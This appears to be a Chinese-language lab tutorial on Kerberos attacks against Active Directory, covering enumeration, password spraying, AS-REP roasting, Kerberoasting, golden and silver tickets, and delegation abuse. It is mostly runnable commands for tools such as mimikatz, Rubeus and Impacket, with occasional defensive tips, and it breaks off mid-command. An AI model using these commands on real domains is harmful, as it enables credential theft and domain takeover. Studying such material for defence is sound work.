Kerberos攻击

Kerberos认证基础

kerberos认证协议是基于票据的认证方式

kerberos分为三部分:用户、服务器、KDC(Key Distribution Center)

KDC包含:AS(Authentication Server)、TGS(Ticket Granting Server)

kerberos基础认证流程

91C85F3DF584F41878C343B204E1DEC2

aaa

kerberos认证,其实就是类似于参观一个实验室,普通人只能参观展品、高级访客可以进入内部参观

前提是你得提前预约获得一个密码,成为高级访客

你进实验室时,在门禁处输入你的账号密码,AS验证是否正确,然后返回你一个临时参观证,临时参观证由你的信息和访问权限组成,并且用krbtgt加密

比如你现在想要参观实验室里面的武器库(你要访问的服务)

你到申请处(TGS)进行申请,扫描参观证,输入你要参观的地方(server),申请处对你的参观证进行验证,成功之后,用武器库的密码加密,得到一个门禁卡(TGS票据)

到达武器库,扫描门禁卡,进行访问

这里面是有漏洞的

1.如果krbtgt密码被知道,就可以任意伪造参观证

2.如果武器库密码泄露,是不是就是任何人可以访问,前提是武器库没有设置PAC(即返回KDC确认)

kerberos攻击分类

上面分析可知,kerberos一般就在AS阶段、TGS阶段、PAC

AS阶段

1
2
3
4
域内用户枚举
密码喷洒
AS_REP Roasting
黄金票据

TGS阶段

1
2
3
kerberosast攻击
白银票据
委派攻击

PAC

1
2
3
MS14-068
CVE-2021-42278
CVE-2021-42287

AS阶段攻击

域内用户枚举

在没有域内任何的凭据的前提下,枚举出域内用户名

当我们不在域内,但是发现了一个域,此时就可以考虑先枚举出域内用户,然后再进行密码喷洒攻击

原理

原理是用到kerberos协议的AS_REQ

当域内用户的状态不同时,AS_REP包返回的数据是不同的

AS_REQ包里面的cname的值就是用户名字

用户的不同状态对应的AS_REP返回包

1
2
3
4
5
用户存在并且启用		KDC_ERR_PREAUTH_REQUIRED

用户存在但是禁用 KDC_ERR_CLIENT_REVOKED NT Status: STATUS_ACCOUNT_DISABLED

用户不存在 KDC_ERR_C_PRINCIPAL_UNKNOWN

通过不同的返回包,就能确定某个账户是否存在

工具枚举

前提是有一台能够与域控通信的计算机,不管登陆账户是否为域用户,只要能和域控通信就行

kerbrute

1
2
go语言编写的用于
用户名枚举、密码喷洒的工具

地址

1
https://github.com/ropnop/kerbrute

前提

1
2
3
4
5
6
7
域内主机,但是用非域内账号登陆

非域内主机,但是能够和域控通信

总的来说,就是一台能够与域控通信的计算机就行

其次,下载时windows检测到病毒,需要做免杀

用法

1
2
3
4
5
6
kerbrute_windows_amd64.exe userenum --dc 192.168.8.1 -d sayms.local user.txt

#userenum:枚举模式
#--dc:域控ip
#-d:域名
#user.txt:用户名字典,不需要加域名后缀

image-20230212224329512

pykerbrute

1
2
3
4
5
更kerbrute功能一样
但是是用python语言编写
有tcp和udp两种工作模式

不需要做免杀,只是一个python脚本

用法

1
2
3
4
5
#TCP模式
python2 EnumADUser.py 192.168.8.1 sayms.local user.txt udp

#UDP模式
python2 EnumADUser.py 192.168.8.1 sayms.local user.txt tcp

image-20230212231057818

MSF

作为一个很牛逼的工具msf,它也有用户枚举的功能

1
auxiliary/gather/kerberos_enumusers

使用命令

1
2
3
4
5
use auxiliary/gather/kerberos_enumusers
set domain sayms.local
set rhosts 192.168.8.1
set user_file user.txt
run

大同小异,都是需要知道域名、ip、还有用户名字典

枚举抓包分析

我们开始之前,先用wireshark捕获192.168.8.2这个本地连接的数据包

然后运行工具

image-20230213093328742

捕获的数据包

image-20230213093454761

可以看到返回的结果

image-20230213093534288

根据这个判断域内用户是否存在

看一个成功的数据包

image-20230213093733082

说明tony这个用户就是域用户

域内密码喷洒

普通的密码爆破是用固定的用户名然后去爆破密码,但是这样账户登陆可能容易被锁定

密码喷洒,是用固定的密码,去爆破用户名

简而言之,就是一个密码,域内哪些用户用这个密码

因为域管理员为了方便记忆管理,一些用户的密码,可能会设置一样

当然前提是你得先域内用户枚举,找到域内存在哪些用户

密码锁定策略

刚才说了,直接爆破密码,很容易导致账户锁定

只有没开启密码锁定策略,就可以爆破

通过powershell的命令,可以查询密码锁定策略

1
Get-ADDefaultDomainPasswordPolicy

image-20230213114120853

默认是0,就是没有设置次数锁定,可以进行爆破

一般默认是没有开启的,可以爆破

工具喷洒

kerbrute

kerbrute不仅可以用户枚举还可以密码喷洒

密码喷洒

用法

1
2
3
4
5
6
7
kerbrute_windows_amd64.exe passwordspray --dc 192.168.8.1 -d sayms.local user.txt admin!@#45

#passwordspray:密码喷洒模式
#--dc:域控ip
#-d:域名
#user.txt:域内用户
#123456:密码

image-20230213112929229

当然如果域内没有设置账户锁定,直接爆破密码当然是更方便的

密码爆破

用法

1
kerbrute_windows_amd64.exe bruteuser --dc 192.168.8.1 -d sayms.local passwords.txt administrator

image-20230213113426449

pykerbrute

和kerbrute差不多,不同的是

pykerbrute使用密码喷洒,可以是明文密码也可以是hash值

用法

1
2
3
4
5
6
7
#明文喷洒
python2 ADPwdSpray.py 192.168.8.1 sayms.local user.txt clearpassword 123456 tcp
python2 ADPwdSpray.py 192.168.8.1 sayms.local user.txt clearpassword 123456 udp

#hash密码喷洒
python2 ADPwdSpray.py 192.168.8.1 sayms.local user.txt ntlmhsh 哈希值 tcp
python2 ADPwdSpray.py 192.168.8.1 sayms.local user.txt ntlmhsh 哈希值 udp

DomainPasswordSpray.ps1

改脚本需要在域内计算机上使用powershell运行

powershell4.0的版本中该脚本不能执行

该脚本必须是域用户登陆的计算机执行,才能成功

因为该脚本是利用LDAP从域中导出用户列表,然后去除被锁定账户,再进行密码喷洒

用法

1
2
3
powershell -exec bypass
Import-Module. \DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -Password 123456

image-20230213122805639

密码喷洒数据包分析

首先进行喷洒

抓取数据包

image-20230213125247223

如上

只有这一组AS_REP数据包返回结果正常

证明喷洒成功一个

喷洒失败的数据包

回显示krb-error

image-20230213125502950

AS_REP Roasting

攻击原理

一种对用户账户进行离线爆破的方式

需要被攻击的账号开启 “不需要Kerberos预身份认证

但是

这个选项默认不开启

image-20230213180646969

“不需要Kerberos预身份认证”的主要作用就是 防止密码离线爆破

关闭之后

1
2
3
4
5
攻击者使用指定账户向域控的kerberos 88端口发送数据包

此时域控不会进行验证

直接返回TGT和用改用户hash加密的Login session key

攻击过程

攻击过程总的来说分两步

1
2
3
获取hash加密的Login session key

解密hash

当然首要的还是找到 设置了“不需要Kerberos预身份认证”的用户

还需要能和Kerberos 88端口通信的主机

获取hash

我们需要的hash在

1
AS_REP响应包最外层的ecp-part的cipher部分

Rubeus

该工具比较人性

它会自动筛选找到域中设置了“不需要Kerberos预身份认证”的用户

然后以改用户的身份发送AS_REQ包

最后将返回的hash加密的Login session key,以John那个解密的格式放在hash.txt文件中

简而言之就是,自动筛选、自动发送、自动转换、自动保存

注意

必须是用域账户登陆的主机才行,本地账户登陆的域主机是无法成功的

用法

1
Rubeus.exe asreproast /format:john /outfile:hash.txt

image-20230213191034323

ASREPRoast.ps1脚本

功能作用和rubeus一样

不同的是它没有自动过滤出hash,需要用命令导出

注意

必须是用域账户登陆的主机才行,本地账户登陆的域主机是无法成功的

用法

1
2
3
4
5
6
7
#用cmd打开powershell
powershell -exec bypass

#命令
Import-Module .\ASREPRoast.ps1

Invoke-ASREPRoast | select -ExpandProperty Hash

image-20230213202229163

非域内机器

上面两个方法,都是基于有一个域内的主机进行测试的,如果我知道了域内的一个账号密码,但是没有域主机,咋办

下面就提出了解决办法

前提

1
拥有一个域内账号密码

思路

1
2
3
首先利用Adfind,过滤出	“不需要Kerberos预身份认证”的账户

然后用impacket包里面的工具GetNPUsers.py进行获取hash

操作

1
adfind -h 192.168.8.1:389 -u sayms\aim -up admin@123 -f "useraccountcontrol:1.2.840.113556.1.4.803:=4194304" -dn

然后将获取到的用户,写入user.txt文件

执行

1
python3 GetNPUsers.py -dc-ip 192.168.8.1 -usersfile user.txt -format john sayms.local/

但是失败了

可能是88端口,不对外开放

也可以直接使用impacket包里面的工具GetNPUsers.py进行爆破,前提是你的用户名字典足够厉害

1
python3 GetNPUsers.py -dc-ip 192.168.8.1 -userfile users.txt -format john sayms.local

破解hash

john

对字典要求比价大,字典内容为明文密码,不需要为hash

1
john --wordlist=/opt/psaawords.txt hash.txt

image-20230213213852501

成功

hashcat

因为上面的测试,保存的hash值都是john模式

此时hashcat是无法破译的

需要加上$23

image-20230213214201116

然后进行破译

1
hashcat -m 18200 hash.txt passwords.txt --force

image-20230213214542657

AS_REP Roasting防御

1.取消 “不需要Kerberos预身份认证”

2.日志层面,关注事件ID为4768,预身份认证为0的日志

黄金票据

前提

获得域内账户krbtgt的密钥值

想要拿到krbtgt账户的密钥值,一般想要高权限用户,所以黄金票据攻击一般用于权限维持

原理

发生在AS_REP阶段,在进过预认证之后,KDC返回的TGT的authorization-data是krbtgt的密钥加密的

authorization-data中存放的PAC里面的重要部分也是krbtgt密钥加密的

PAC主要是存放用户的身份信息,PAC_SERVER_CHECKSUM和PAC_PRIVSVR_CHECKSUM是PAC的重要部分

所以我们拿到krbtgt的密钥之后,就可以伪造高权限PAC,放到TGT中,然后用这个高权限,来请求服务票据

需求

伪造TGT是不需要连接KDC的,整个过程是离线的

创建黄金票据需要的信息

1
2
3
4
krbtgt的密钥值
域名
域SID
伪造的高权限域用户的用户名

一般需要在域控上面查询

黄金票据攻击一般工具Impacket、mimikatz、CS

利用Impacket攻击

思路

1
2
3
4
5
6
7
生成票据(ticketer.py

导入票据

导出hash(secretsdump.py)

连接(smbexec.py

生成黄金票据

1
python3 ticketer.py -domain-sid sid值 -nthash 哈希值 -domain 域名 域管账户名字

导入票据

1
export KRB5CCNAME=域管账户名.ccache

导出域管账户的hash

1
python3 secretsdump.py -k -no-pass 域管账户@域控主机名.域名 -dc-ip 域控ip -just-dc-user 域管账户名

远程连接

需要注意的是

1
需要先在本地的hosts文件中添加要远程访问主机的ip

远程连接域控

1
python3 smbexec.py -no-pass -k 域管账户@域控主机名.域名 -dc-ip 域控ip

远程连接其他主机

1
python3 smbexec.py -no-pass -k 域管账户@其他主机名.域名 -dc-ip 域控ip -codec gbk      #没有写错,就是域控的ip

利用mimikatz攻击

mimikatz攻击可以使用域内机器,也可以是非域内机器

不在域内的机器,需要把其的DNS服务器设置为域控

1
netsh interface ip set dns "以太网" static 域控ip

操作

首先尝试远程访问C盘

image-20230217233131593

权限不够,拒绝访问

生成黄金票据,导入内存,就有高权限,来导出任意用户的hash

注意:在生成黄金票据之前一定要先删除之前的所有票据,如果存在多个票据,系统不知道选用哪一个,会随机选取

1
2
3
4
5
#删除所有票据
klist purge

#查看存在哪些票据
klist
1
2
#导入golden
kerberos::golden /user:administrator /domain:sayms.local /sid:S-1-5-21-199966615-2708578713-1277870648 /krbtgt:020da1822e87dc4b9d87cf7891f3c7e8 /ptt

导入成功

image-20230216122002809

远程访问C盘

image-20230217233212497

成功

利用CS攻击

CS工具就比较好用,窗口化,自动化

拿到session之后,就可以进行操作

选择黄金票据,然后填入需要的参数即可

1
2
3
4
5
6
7
用户名

域名

域SID

krbtgt的hash

然后就是一键完成攻击

总结

黄金票据利用的是kerberos协议的缺陷,而不是漏洞,需要高权限的基础,才能完成黄金票据攻击

黄金票据主要是利用了AS和TGS之间的信任基础

TGS阶段攻击

kerberosasting攻击

主要用于域内权限提升

原理

在第四阶段,即TGS_REP

TGS服务端,返回客户端一个由服务的hash加密的ST

然后客户就可以拿到进行本地爆破

爆破得到一个有权限访问对应SPN的账户密码

核心在于ST的加密是客户端和KDC进行协商的,客户端可以选择容易破解的RC4_HMAC_MD5算法进行加密

攻击步骤

首先随意输入一个域内正确的账户密码,来获取一个TGT

用获得的TGT,去请求指定SPN的ST,这个过程中用户和KDC可以协商加密算法,选择RC4_HMAC_MD5

(SPN是域内注册的服务器主体名称)

只有是有效的TGT,无论提供的域内账户密码是否有权限访问SPN服务,都会返回一个用能够请求该服务账号的hash并且以RC4_HMAC_MD5

算法加密的ST

(用于加密的是服务账户的hash,服务账户的密码一般是安装时,服务自己设置的,并且基本不会改动,易破解)

最后从TGS_REP数据包中提取ST,进行本地爆破,拿到能够访问该服务的明文密码

(我们拿到的是服务密码)

简而言之大概步骤就是

1
2
3
4
5
6
7
查询域内注册于域用户下的SPN

请求指定SPN的ST

导出ST

破解

SPN的发现

找到域内所有注册在域用户下的SPN

三个常用工具RiskySPNGetUserSPNsPowerView.ps1

RiskySPN

属于powershell脚本

会自动检测识别若密码的服务票据

根据用户账户和密码过期时间来判别最容易包含弱密码的票据

1
2
3
powershell -exec bypass
Import-Module .\Find-PotentiallyCrackableAccounts.ps1;
Find-PotentiallyCrackableAccounts -FullData

image-20230217173901689

没有回显,有点尴尬,可能是因为没有用户注册吧

GetUserSPNs

会查询所有注册在域用户下的SPN

有两种VBS和powershell

1
2
3
4
5
#VBS
cscript .\GetUserSPNs.vbs

#PowerShell
Import-Module .\GetUserSPNs.ps1

image-20230217175705352

找到一个krbtgt的kadmin/changepw

这个是没有用的,它是随机生成的,几乎不可能爆破

PowerView.ps1

powersploit中recon目录下的脚本

用法

1
2
Import-Module .\PowerView.ps1
Get-NetUser -SPN

请求服务票据

主要有三种

1
2
3
4
5
6
7
impacket的GetUserSPNs.py

Rubeus

mimikatz

其中impacket和rubeus请求之后,会直接导出

impacket

该工具包下的GetUserSPNs.py可以请求注册在用户下的所有SPN服务票据,也可以请求注册于指定用户下的SPN服务票据

1
2
3
4
5
#请求注册于用户下的所有SPN服务票据,以hashcat可以破解的格式保存
python3 GetUserSPNs.py -request -dc-ip 域控ip sayms.local/tony:admin123$% -outputfile hash.txt

#请求指定注册于tony用户下的SPN票据,以hashcat可以破解的格式保存
python3 GetUserSPNs.py -request -dc-ip 域控ip sayms.local/tony:admin123$% -outputfile hash.txt -request-user tony

Rubeus

该工具比较厉害

它会先用LDAP查询域内所有注册在域用户下的SPN

然后发送TGS包,最后直接输出能破解出的hash格式,例如John、hashcat

用法

1
2
3
4
5
#导出所有的
Rubeus.exe kerberoast /format:john /outfile:hash.txt

#导出指定SPN的服务票据
Rubeus.exe kerberoast /spn:SQLServer/win7.sayms.local:1433/MSSQL /format:john /outfile:hash.txt

mimikatz

mimikatz不会导出票据,只会把请求完成之后的票据保存在内存中

1
kerberos::ask/target:SQLServer/win7.sayms.local:1433/MSSQL

导出服务票据

首先是查看内存中保存了哪些票据

1
2
3
4
5
#cmd
klist

#mimikatz
kerberos::list

mimikatz导出

1
mimikatz.exe "kerberos::list /export" "exit"

会导出kirbi格式的票据文件

empire导出

empire下的Invoke-Kerberoast.ps1脚本,可以导出John格式和hashcat格式的票据文件

1
2
Import-Module .\Invoke-Kerberoast.ps1;
Invoke-Kerberoast -outputFormat hashcat

破解票据

其实就是破解hash

上面我们导出的文件有John格式、hashcat格式、kirbi格式

其中John和hashcat格式好说

kirbi格式破解

两种方法kerberoast、tgscrack

kerberoast里面的tgsrepcrack.py可以破解kirbi格式

1
python2 tgsrepcrack.py pass.txt tony@SQLServer~win7.sayms.local~1433~MSSQL-SAYMS.LOCAL.kirbi

tgscrack

先把kirbi格式的文件转化为它能够破解的格式,然后再破解

1
2
3
python2 extractServiceTicketParts.py tony@SQLServer~win7.sayms.local~1433~MSSQL-SAYMS.LOCAL.kirbi > hash.txt

go run tgscrack.go -hashfile hash.txt -wordlist pass.txt

hashcat格式破解

1
hashcat -m 13100 hash.txt pass.txt --force

Kerberoasting防御

  1. 首先能够执行该攻击最直接的原因是因为RC4_HMAC_MD5算法容易破解,强制改为AES256_HMAC算法,但是该算法会存在兼容性问题
  1. 为服务账户设置强密码,或者定期修改密码
  1. 好多服务都分配了过高的权限,导致攻击成功之后就能够权限提升,所有依照权限最小化原则设置权限
  1. 日志审计,关注ID为4769的日志,如果突然有过多4769的日志,且加密类型为0x17,可能就是受到了攻击
  1. 使用工具检测,zBang

白银票据

原理

白银票据攻击发生在TGS_REP阶段

TGS认证客户端发来的TGT,成功之后,将会返回指定服务的ST

ST中加密部分authorization-data,是用服务的密钥加密的

authorization-data中的PAC,PAC包含PAC_SERVER_CHECKSUM和PAC_PRIVSVR_CHECKSUM

其中PAC_SERVER_CHECKSUM是用服务的hash加密的,PAC_PRIVSVR_CHECKSUM是用krbtgt的hash加密的

但是

PAC_PRIVSVR_CHECKSUM签名的认证是可选的,且默认不开启,所以即使无法伪造PAC_PRIVSVR_CHECKSUM签名,也可完成攻击

所以只要能够拿到指定服务的密钥,就可以伪造PAC,放入ST,从而以高权限访问服务

因为服务验证了TGS票据之后,一般不会返回域控去验证TGS的合法性

部分服务对应的关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
应用服务类型												需要的服务
WMI HOSTRPCSS

PowerShell Remoting HOSTHTTP

WinRM HOSTHTTP

Scheduled Tasks HOST

Windows File Share CIFS

LDAP operations LDAP

Windows Remote Server Administrations Tools RPCSSLDAPCIFS

需求

1
2
3
4
5
6
7
服务的密钥(一般就是主机的hash值)

域SID

域名

伪造的域用户,要是高权限用户

利用impacket攻击

使用ticketer.py生成白银票据

然后导入票据

然后使用smbexec.py、secretsdump.py来进行利用

1
2
3
4
5
6
7
8
9
10
11
12
#生成白银票据
python3 ticketer.py -domain-sid sid值 -nthash 哈希值 -spn 服务名/域控主机名.域名 -domain 域名 域管账户名字
python3 ticketer.py -domain-sid sid值 -nthash 哈希值 -spn cifs/DC.sayms.local -domain sayms.local administrator

#导入票据
export KRB5CCNAME=域管账户名.ccache

#远程连接域控
python3 smbexec.py -no-pass -k 域管账户@域控主机名.域名 -dc-ip 域控ip

#导出管理员的hash
python3 secretsdump.py -k -no-pass 域管账户@域控主机名.域名 -dc-ip 域控ip -just-dc-user 域管账户名

S-1-5-21-199966615-2708578713-1277870648-500

80a28b3ca1457d5d09adf2e153d98b1d

利用mimikatz攻击

mimikatz进行攻击,使用的机器可以是域内的,也可以是非域内主机

非域内主机,需要将DNS服务设置为域控

1
netsh interface ip set dns "以太网" static 域控ip

操作

首先尝试远程访问C盘

image-20230217232329609

权限不够,拒绝访问

生成白银票据,导入内存

1
kerberos::golden /domain:sayms.local /S-1-5-21-199966615-2708578713-1277870648 /target:DC.sayms.local /service:cifs /rc4:80a28b3ca1457d5d09adf2e153d98b1d /user:administrator /ptt

image-20230218094012033

然后就能够远程访问域控C盘

但是我这里无法访问是失败的,很奇怪导入成功还是无法访问

利用CS攻击

和mimikatz一样,也可以是非域内主机,但是需要设置本地DNS为域控

CS是没有白银票据这个模块的,但是导入插件可以实现

使用方法很简单,只需要填相应参数即可

1
2
3
4
5
6
7
8
9
10
11
12
13
伪造用户名(一般是高权限用户)

ID值(一般是500

域名

SID

目标主机名

hash(服务对应的hash

伪造的服务

总结

防御白银票据比较好的方式是,开启验证PAC签名,前面说了,一部分原因就是因为默认不认证,所以可以伪造

但是对于一些本地注册系统服务来说,比如SMB、CIFS、HOST,是无法开启验证的

委派攻击

定义

委派是指把域内用户的权限委派给服务账户,使服务账户能够以用户的权限访问域内其他服务

在域内,只有主机账户和服务账户才有委派属性

分类

委派分为三种类型

1
2
3
4
5
非约束性委派

约束性委派

基于资源的约束性委派

非约束性委派

非约束性委派,服务账户可以获取被委派用户的TGT,并将该TGT缓存到LSASS进程中,服务账户就可以使用该TGT访问任意服务

适用于windows server 2000

非约束性委派需要设置 SeEnableDelegationPrivilege特权,该权限默认 域管 和 企业管理员 拥有

域控默认配置了非约束性委派

拥有非约束性委派的机器账户userAccountControl属性的flag为WORKSTATION_TRUST_ACCOUNT|TRUSTED_FOR_DELEGATION,值为528384

拥有非约束性委派的服务账户userAccountControl属性的flag为NORMAL_ACCOUNT|TRUSTED_FOR_DELEGATION,值为524800

非约束性委派的流程

image-20230218113103964

从上面的流程,我们可以想到,如果我们控制了服务1,然后诱骗域管来请求服务1,我们就可以拿到域管TGT,从而可以高权限访问任意服务

约束性委派

因为考虑到非约束性委派的不安全性,微软在Windows server 2003就发布了约束性委派

服务账户获取到TGT之后,只能访问用户指定的服务ST,即增加了msDS-AllowedToDelegateTo,这属性来控制能够访问的指定服务

约束性委派账户的设置是需要SeEnableDelegationPrivilege特权的,该权限只有域管和企业管理员拥有

约束性委派分为两种

1
2
3
只能使用kerberos,不能进行协议转换

可以使用任何身份认证协议,能够进行协议转换

kerberos约束性委派的机器账户和服务账户的userAccountControl属性和正常账户一样,但是其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN

可以使用任何身份认证协议的约束性委派机器账户的userAccountControl属性的flag位为WORKSTATION_TRUST_ACCOUNT|TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,值为16781312

其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN

可以使用任何身份认证协议的约束性委派服务账户的userAccountControl属性的flag位为

NORMAL_ACCOUNT|TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,值为16777728

其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN

约束性委派的流程

为了kerberos能够支持约束性委派,微软的kerberos协议扩展了两个自协议

1
2
3
4
5
S4u2Self(Service for User to Self)
可以代表任意用户请求自身的ST

S4u2Proxy(Service for User to Proxy)
用上一步获得的ST以用户的名义请求其他服务的ST

image-20230218175023956

那么,如果我们拿到了服务1的权限,那么我们可以拥有,服务1以及可以访问的其他服务,如果服务1配置了到域控的CIFS约束性委派,那么我们可以利用服务1以任意用户权限访问域控

基于资源的约束性委派

为了使用户和资源更加独立,微软在windows server 2012中引入了基于资源的约束性委派

基于资源的约束性委派是把权限赋予了服务

配置了基于资源的约束性委派账户的msDS-AllowedToActOnBehalfOfOtherIdentity属性值为被允许委派账户的SID

流程

image-20230218220320603

谁能配置基于资源的约束性委派的权限?

1
2
3
4
上面可知基于资源的约束性委派,是通过msDS-AllowedToActOnBehalfOfOtherIdentity属性值的修改实现的

用AdFind查找谁能修改该属性,查询域内机器win2012R2
AdFind.exe -f "&(objectcategory=computer)(name=win2012R2)" msDS-AllowedToActOnBehalfOfOtherIdentity

如果没有该属性

1
2
3
4
那么就是谁创建了该属性,谁就有权限

用AdFind查找
AdFind.exe -b CN=win2016,CN=Computers,DC=sayms,DC=local -sc getacl -sddl+++ -sddlfilter ;;"WRT PROP";;;

最后发现,拥有该权限的用户有域管、SELF、将计算机加入域的域用户

利用方法

1
2
3
4
5
6
7
在服务B上设置允许服务A委派

控制服务A使用S4u2Self协议,向域控请求任意用户访问自己的ST

控制服务A使用S4u2Proxy协议,转发此ST去请求服务B的ST

最后我们就可以使用任意用户去访问B

利用条件

1
2
3
拥有服务A的权限,拥有一个普通域内账户,一个域内账户可以创建10个机器账户,机器账户可以当服务账户

拥有修改B上允许A访问的权限

查询能够域委派账户

上面说了各种域委派类型,下面就是找到能够进行域委派的账户

可以通过LDAP进行过滤

通过这三个属性可以找出准确的域委派账户

userAccountControl

1
2
3
4
5
6
该属性可以分别哪些账户可以进行域委派
因为只有主机账户和服务账户才可以进行域委派
该属性可以判别账户类型

samAccountType=805306369为主机账户
samAccountType=805306368为服务账户

AllowedToDelegateTo

1
2
3
该属性是约束性委派账户才有值的,基于资源的约束性委派也有该属性,但是没有被赋值

该属性指向能够委派的服务SPN(就是A账户委派的服务能够访问哪些服务)

AllowedToActOnBehalfOfOtherIdentity

1
2
3
4
这个就是基于资源的约束性委派账户有的

这个属性的值是服务具有的,就是指向哪些服务能够访问它
权限在资源手中,不在KDC中

通过这三个属性就能判别,一个账户是属于哪种账户

查询非约束性委派的主机或服务账户

powersploit下的PowerView.ps1

1
2
3
4
5
6
7
8
9
powershell -exec bypass

Import-Module .\PowerView.ps1;

#查询非约束性委派的主机
Get-NetComputer -Unconstrained -Domain sayms.local

#查询非约束性委派的服务账户
Get-Netuser -Unconstrained -Domain sayms.local | select name

Adfind

1
2
3
4
5
#查询非约束性委派的主机
Adfind.exe -b "DC=sayms,DC=local" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

#查询非约束性委派的服务账户
Adfind.exe -b "DC=sayms,DC=local" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

Ldapsearch

1
2
3
4
5
#查询非约束性委派的主机
ldapsearch -x -H ldap://域控IP:389 -D "tony@sayms.local" -w admin123$% -b "DC=sayms,DC=local" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep dn

#查询非约束性委派的服务账户
ldapsearch -x -H ldap://域控IP:389 -D "tony@sayms.local" -w admin123$% -b "DC=sayms,DC=local" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep dn

查询约束性委派的主机或服务账户

empire下的powerview.ps1

1
2
3
4
5
6
7
8
9
powershell -exec bypass

Import-Module .\PowerView.ps1;

#查询约束性委派的主机
Get-DomainComputer -TrustedToAuth -Domain sayma.local | select name,msds-allowedtodelegateto

#查询约束性委派的服务账户
Get-DomainUser -TrustedToAuth -Domain sayma.local | select name,msds-allowedtodelegateto

Adfind

1
2
3
4
5
#查询约束性委派的主机
Adfind.exe -b "DC=sayms,DC=local" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

#查询约束性委派的服务账户
Adfind.exe -b "DC=sayms,DC=local" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

Ldapsearch

1
2
3
4
5
#查询约束性委派的主机
ldapsearch -x -H ldap://域控IP:389 -D "tony@sayms.local" -w admin123$% -b "DC=sayms,DC=local" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" | grep -e dn -e msDS-AllowedToDelegateTo

#查询约束性委派的服务账户
ldapsearch -x -H ldap://域控IP:389 -D "tony@sayms.local" -w admin123$% -b "DC=sayms,DC=local" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" | grep -e dn -e msDS-AllowedToDelegateTo

查询基于资源的约束性委派的主机或服务账户

Adfind

1
2
3
4
5
#查询基于资源的约束性委派的主机
Adfind.exe -b "DC=sayms,DC=local" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity

#查询基于资源的约束性委派的服务账户
Adfind.exe -b "DC=sayms,DC=local" -f "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" msDS-AllowedToActOnBehalfOfOtherIdentity

Ldapsearch

1
2
3
4
5
#查询基于资源的约束性委派的主机
ldapsearch -x -H ldap://域控IP:389 -D "tony@sayms.local" -w admin123$% -b "DC=sayms,DC=local" "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dn

#查询基于资源的约束性委派的服务账户
ldapsearch -x -H ldap://域控IP:389 -D "tony@sayms.local" -w admin123$% -b "DC=sayms,DC=local" "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" | grep dn

查询某个账户是否具有委派性

通过查看服务账户和机器账户的属性,来判断是否具有委派性

账户没有委派性,只有userAccountControl有值

1
2
3
4
5
#服务账户的值
NORMAL_ACCOUNT

#机器账户的值
WORKSTATION_TRUST_ACCOUNT

委派攻击操作

委派攻击攻击发生在TGS_REQ、TGS_REP

非约束性委派攻击

思路就是诱骗域管理员来访问服务,从而获得TGT票据

诱骗域管访问服务

首先先设置win7具有允许委派属性

image-20230219090956104

然后使用域管账户远程ipc连接win7

1
net use \\win7.sayms.local "admin123$%" /user:"sayms\tony"

连接之后会产生TGT票据

在win7上,使用mimikatz获取内存的票据

1
2
3
privilege::debug

sekurlsa::tickers /export

image-20230219104414101

将票据导入内存

1
2
3
kerberos::ptt [0;ade48]-2-0-60810000-tony@krbtgt-SAYMS.LOCAL.kirbi

kerberos::list

image-20230219104646584

尝试访问域控

image-20230219104752336

成功,在没有票据之前,是无法通过ipc远程访问域控的

但是此方法是比较鸡肋的,需要域管主动来访问服务,主动权在域管手中

结合在打印机漏洞攻击

可以利用打印机服务漏洞,来强制域控连接配置了非约束性委派的主机

首先配置监听

1
2
#每隔一秒监听一次来自DC域控的票据
rubeus.exe monitor /interval:1 /filteruser:DC$

image-20230219112648694

然后在win7上使用打印机服务漏洞攻击域控DC,使域控强制回连认证

1
SpoolSample.exe DC win7

image-20230308111007728

看到rebeus收到来自域控的票据

票据里面是有换行符的,需要去掉

1
2
3
4
5
6
data=""
for line in open('1.txt','r'):
data += line.strip('\n')
with open("2.txt",'a') as f:
f.write(data)
print('保存完毕')

然后直接使用rubeus导入该票据

1
rubeus.exe ptt /ticket:base64的票据

然后就可以进行高权限操作了

域控的机器账户不能用于登陆,但是可以导出hash

约束性委派的攻击

环境配置

首先设置账户aim进行约束性委派

将aim注册为SPN服务账户

1
setspn -S cifs/DC.sayms.local aim

然后设置约束性委派

image-20230219121231228

攻击流程

首先我们拿到了win7的权限,是以aim账户登陆的

抓取密码为admin@123

查询是否存在约束性委派服务账户

1
Adfind.exe -b "DC=sayms,DC=local" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

image-20230219121926879

发现存在CIFS服务的账户aim,然后就可以使用Impacket包攻击

1
2
3
4
5
6
7
8
#以域管tony身份申请一张访问cifs服务的票据
python3 getST.py -dc-ip 域控ip sayms.local/aim:admin@123 -spn cifs/DC.sayms.local -impersonate tony

#导入票据
export KRB5CCNAME=tony.ccache

#远程访问域控
python3 smbexec.py -no-pass -k DC.sayms.local

基于受限资源的委派攻击

我们拿到域内主机win2008的权限,且当前登陆为tom,而tom就是把win2008加入域的用户

因为win2008不在管理员组中,所以基本不可能进行mimikatz导出hash的操作

因为win2008是tom加入的,所以tom有给win2008基于资源的约束性委派的权限

首先新建机器账户test$,配置test$到win2008的基于资源的委派

然后执行如下命令,就可以提权到win2008的system权限

1
2
3
4
5
6
7
8
#用administrator申请一个访问cifs/win2008的服务票据
python3 getST.py -dc-ip DC.sayms.local sayms.local/test$:root -spn cifs/win2008.sayms.local -impersonate administrator

